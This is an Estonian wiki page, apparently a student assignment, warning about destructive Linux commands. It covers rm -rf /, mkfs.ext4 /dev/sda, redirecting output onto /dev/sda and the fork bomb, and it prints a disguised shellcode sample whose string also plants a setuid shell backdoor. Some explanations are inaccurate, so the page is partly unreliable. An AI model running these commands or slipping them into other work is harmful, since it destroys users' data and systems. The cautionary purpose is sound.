Linuxi surmakäsud: Difference between revisions

From ICO wiki
Jump to navigationJump to search
Jveikesa (talk | contribs)
Jveikesa (talk | contribs)
Line 78: Line 78:
== Käsk > /dev/sda ==
== Käsk > /dev/sda ==


See käsk võtab siis suvaliselt käsult saadud sisendi ja kirjutab selle väljundi operatsioonisüsteemi asukohale, kustutades kõik muu eelneva info.
<code> Käsk </code> - võib siin olla suvaline
<code> > </code> - saada väljund järgnevasse asukohta ja kirjuta see üle
<code> /dev/sda </code> – peamine kõvaketas


== :(){:|:&};: ==
== :(){:|:&};: ==


Tundub suvaline sümbolite jada aga see on ohtlik bashi funktsioon mida tuntakse kahvlipommina (Fork Bomb). See käsk teeb endast koopia ja siis need koopiad teevad veel endast koopia ja nii lõpmatuseni või kuni arvuti kokku jookseb, sest protsessori ja muutmälu ressurss ei ole lõpmatu. Selle ravib taas käivitamine aga oht on, et salvestamata andmed võivad kaduma minna.
Tundub suvaline sümbolite jada aga see on ohtlik bashi funktsioon mida tuntakse kahvlipommina (Fork Bomb). See käsk teeb endast koopia ja siis need koopiad teevad veel endast koopia ja nii lõpmatuseni või kuni arvuti kokku jookseb, sest protsessori ja muutmälu ressurss ei ole lõpmatu. Selle ravib taas käivitamine aga oht on, et salvestamata andmed võivad kaduma minna.

Revision as of 18:54, 5 November 2017

Autor

Jaan Veikesaar

A21

05/11/2017


rm -rf /

  • Antud käsu sisestades kustutab Linux rõõmsalt kõik mis ta vähegi suudab.


rm -rf /

rm – Kustuta järgnevad failid.

-rf - Jooksuta rm käsku rekursiivselt ehk kustuta kõik failid ja kaustad etteantud kaustas ja eemalda need jõuga ilma sinult küsimata.

/ - See annab rm käsule juurika kataloogi, mis sisaldab kogus sinu kõvaketast, kõiki küljes olevaid seadmeid ja eemaldatavaid andmekandjaid.


  • Veel erinevaid võimalusi:


rm -rf ~ - kustutab kodukataloogi.

rm -rf * - kustutab seadistuste failid.


  • Samuti võidakse sind proovida petta. Järgnev kood on rm -rf / heksa esitlus, mis toimib täpselt samamoodi kui rm -rf / sisestades.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p

release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”

“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”

“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”

“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”

“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”

“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”

“\x6e\x2f\x73\x68\x00\x2d\x63\x00”

“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;


mkfs.ext4 /dev/sda

See käsk formaadib sda kõvaketta, mis on see kus operatsioonisüsteem asub, ext4 failisüsteemi kasutama. Ehk peale selle sisestamist on ketta sisu kaotsi läinud.

mkfs - make file system käsk, ehk loo failisüsteem

ext4 - meie poolt ette antud failisüsteem

/dev/sda - kõvaketas, millele käsk suunatud on


dd

rm -f

mv

Käsk > /dev/sda

See käsk võtab siis suvaliselt käsult saadud sisendi ja kirjutab selle väljundi operatsioonisüsteemi asukohale, kustutades kõik muu eelneva info.

Käsk - võib siin olla suvaline

> - saada väljund järgnevasse asukohta ja kirjuta see üle

/dev/sda – peamine kõvaketas

:(){:|:&};:

Tundub suvaline sümbolite jada aga see on ohtlik bashi funktsioon mida tuntakse kahvlipommina (Fork Bomb). See käsk teeb endast koopia ja siis need koopiad teevad veel endast koopia ja nii lõpmatuseni või kuni arvuti kokku jookseb, sest protsessori ja muutmälu ressurss ei ole lõpmatu. Selle ravib taas käivitamine aga oht on, et salvestamata andmed võivad kaduma minna.